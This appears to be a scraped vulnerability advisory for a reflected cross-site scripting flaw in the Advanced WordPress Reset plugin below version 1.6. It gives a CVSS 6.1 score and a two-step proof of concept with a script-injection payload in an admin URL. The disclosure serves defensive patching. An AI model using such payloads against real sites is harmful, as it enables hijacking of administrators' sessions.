Lucene search

ZhongFu Su(JrXnm) of WuHan University WPEX-ID:68DDF343-6E69-44A7-BD33-72004053D41E

HistoryJul 05, 2022 - 12:00 a.m.

Advanced WordPress Reset < 1.6 - Reflected Cross-Site Scripting

2022-07-0500:00:00

ZhongFu Su(JrXnm) of WuHan University

103

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

JSON

The plugin does not escape some generated URLs before outputting them back in href attributes of admin dashboard pages, leading to Reflected Cross-Site Scripting

- Completely reset the site using the plugin
- Visit https://example.com/wp-admin/tools.php?page=advanced_wp_reset&"><script>alert(1)</script>

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

JSON

Related for WPEX-ID:68DDF343-6E69-44A7-BD33-72004053D41E